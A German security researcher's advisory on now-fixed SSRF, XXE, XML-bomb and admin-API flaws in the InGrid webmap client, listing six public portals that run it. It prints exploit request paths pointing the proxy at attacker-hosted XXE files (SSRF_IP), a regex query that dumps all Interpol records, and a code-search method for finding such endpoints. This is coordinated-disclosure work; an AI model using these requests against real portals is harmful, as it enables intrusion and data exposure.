Mehrere Schwachstellen (SSRF, XXE, XML Bombe, Admin API Zugriff, etc.) im InGrid Framework (ingrid-webmap-client) geschlossen
Verschiedene Bundesländer- und Bundesportale für (Geo-)Metadaten enthielten einige Schwachstellen im InGrid Framework, die nun gefixt wurden:
- Drei Möglichkeiten einer XXE via SSRF
/ingrid-webmap-client/rest/wms/proxy/?url=https://SSRF_IP/xxe.xml /ingrid-webmap-client/rest/wms/proxy/layers?url=http://SSRF_IP/xxe_layers.xml /ingrid-webmap-client/rest/search/query?type=services&q=dummy&searchUrl=https://SSRF_IP/xxe_rss_channel_item.xml
- XML Bombe via SSRF
- SSRF auf interne Systeme. Zumindest meine Testdatei wird nun nicht mehr ausgegeben, da sie eventuell nicht der erwarteten Struktur entspricht.
- Schreibender Admin Zugriff auf Daten, die unter anderem eine persistente XSS ermöglichen können
- Tomcat Version Disclosure Schwachstelle & Veralteter Tomcat Softwarestand
Details zum hier angesprochenen und zugrunde liegenden InGrid Framework findet man auf https://www.ingrid-oss.eu und der Source Code liegt auf Github
Es gibt mind. 6 Bundes und Bundesländer Portale, die diese Software einsetzen. Mit der Google-Suche inurl:ingrid-webmap-client findet man diese 6 Portale:
https://fs.nlphh.de
https://ingrid.s-h.nokis.org
https://metaver.de
https://numis.niedersachsen.de
https://portalu.rlp.de
https://www.kuestendaten.de
Die Kommunikation mit dem verantwortlichen Hersteller und dessen Reaktionsgeschwindigkeit war sehr gut und professionell. Schneller konnte man die Schwachstellen nicht schließen.
Details
- Betreiber: Verwaltungskooperation Umweltinformationssysteme (VKoopUIS) Projekt Nr. 50: InGrid - Pflege und Weiterentwicklung der InGrid-Softwarekomponenten zum Betrieb von Internetportalen und Metadatenkatalogen
- Beschreibung der InGrid Framework als Power Point Folien vom ITZBund InGrid-Praesentation-ITZBund_final.ppsx
- Korrigierte Versionen: 5.8.6 / 5.9.2 / 5.10.0
- Referenz ChangeLog 5.8.6 / 5.9.2 / 5.10.0
- [Feature] [PORTAL] Aktualisierung TOMCAT Version (REDMINE-2926)
- [Feature] [PORTAL] Verstecken der Tomcat Version in Tomcat Fehlerseiten. (REDMINE-2925)
- [Bug] [PORTAL] SSRF mit XML External Entity (XXE) Schwachstelle im MapClient beheben (REDMINE-2924)
- Final korrigierte Versionen: 5.8.7/ 5.9.1.2 / 5.9.2.1 / 5.10.0.1 / 5.10.1
- Referenz ChangeLog 5.8.7 / 5.9.1.2 & 5.9.2.1 / 5.10.0.1 & 5.10.1
- [Bug] [Portal] SSRF mit XML External Entity (XXE) Schwachstelle (2) (REDMINE-3161)
HowTo vulnerability hunting?
Die Frage lautet wie so oft “Wie findet man eigentlich mögliche Schwachstellen?”
In diesem Fall half eine Suche im Sourcecode nach Strings wie “@Path(“ und den HTTP Methoden als “@GET”/”@POST”/”@PATCH”/”@PUT”/”@DELETE”, den “@QueryParam(“, einer “URLConnection” und zu guter Letzt für die XXE nach “XPathFactory”.
- Die @Path Treffer in Verbindung mit den HTTP Methoden helfen mir, die möglichen Endpoints zu identifizieren. Hier waren “/admin” Endpoints dabei, die tatsächlich auch schreibenden Zugriff ermöglichten mit “@POST”/”@PATCH”/”@PUT”/”@DELETE”.
- Die @QueryParam geben die möglichen Übergabeparameter bei GET Operationen an. Hier waren die Query Parameter “url=meineurl” und “type=services” jeweils Treffer zum Ausnutzen einer SSRF.
- Ein “XPathFactory” deutet auf das Verarbeiten von XML Dokumenten hin. Die betroffenen Java Klassen haben dann gezeigt, welche XML Trees vorliegen müssen, damit sie überhaupt verarbeitet werden.
- Der String “URLConnection” führte zur Klasse HttpProxy mit seinem Aufruf “URLConnection conn = url.openConnection();”, wobei diese Komponente die Verbindung als Client aufbaut. Die SSRF Möglichkeit ist gefunden.
Timeline
2021-10-01 01:00 Uhr Report an metaver.de und das CERT-Bund (Es ist Freitag “Morgen”)
2021-10-04 Sourcen des InGrid-webmap-client analysieren und einen eigenen Client compilieren für lokale Tests
2021-10-05 E-Mail mit neuen Details an hinterlegte E-Mail Adresse auf https://www.ingrid-oss.eu
2021-10-05 Rückmeldung bekommen über erste kurzfristige Korrekturen schon am Freitag
2021-10-06 Retest des Fix im develop-Branch / Report neuer Details
2021-10-07 Alle bisher gemeldeten Probleme wurden in einem Nachtest final als gelöst bestätigt
2021-10-27 Erste Veröffentlichung dieses Artikels über die gefixten Schwachstellen
2021-11-09 Beim Review zur Erweiterung des Artikels eine weitere XXE Schwachstelle gefunden und gemeldet
2021-11-11 letzte XXE Schwachstelle als offizielle Update Version verfügbar
2021-11-30 Update dieses Artikels über die gefixten Schwachstellen, inkl. wie ich diese Lücken gefunden habe
TL;DR
Ziellos im Internet unterwegs gewesen, die vielen APIs vom Bundesministerium bundDEV entdeckt.
Als Endanwender finde ich das Super Klasse all die APIs zu haben.
Die Orte der E-Ladestationen entlang der Autobahnen oder das deutschlandweite Ladesäulenregister als Karte der Bundesnetzagentur sind noch nicht allen bekannt.
Bei mir um die Ecke gibt’s also 3 Ladesäulen, die kennt nicht mal Google….
Die Interpol Fahndungsliste angesehen, rumgespielt, Fehlermeldung bekommen mit der Erkenntnis, das eine MongoDB angebunden ist: {"name":"MongoError","message":"Regular expression cannot contain an embedded null byte"}
. Alle Datensätze (Stand heute 7684) bekommt man also, wie auch auf der Interpol Seite direkt angeboten über diese Query-Abfrage: /notices/v1/red?name=.*
Über das Bundesministerium bundDEV bin ich dann über das Issue 41 der Sofortmaßnahmen auf den MetaDaten Portal Verbund MetaVer.de der Bundesländer Brandenburg, Bremen, Hamburg, Mecklenburg-Vorpommern, Saarland, Sachsen & Sachsen-Anhalt gestoßen. Beim Ansehen des Portals nur zufällig und ohne Absicht einen Aufruf gesehen, der interessant aussah ;-)
Challenge Accepted…
Disclaimer
The information provided is released “as is” without warranty of any kind. The publisher disclaims all warranties, either express or implied, including all warranties of merchantability. No responsibility is taken for the correctness of this information. In no event shall the publisher be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if the publisher has been advised of the possibility of such damages.
The contents of this advisory are copyright (c) 2021 by psytester and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.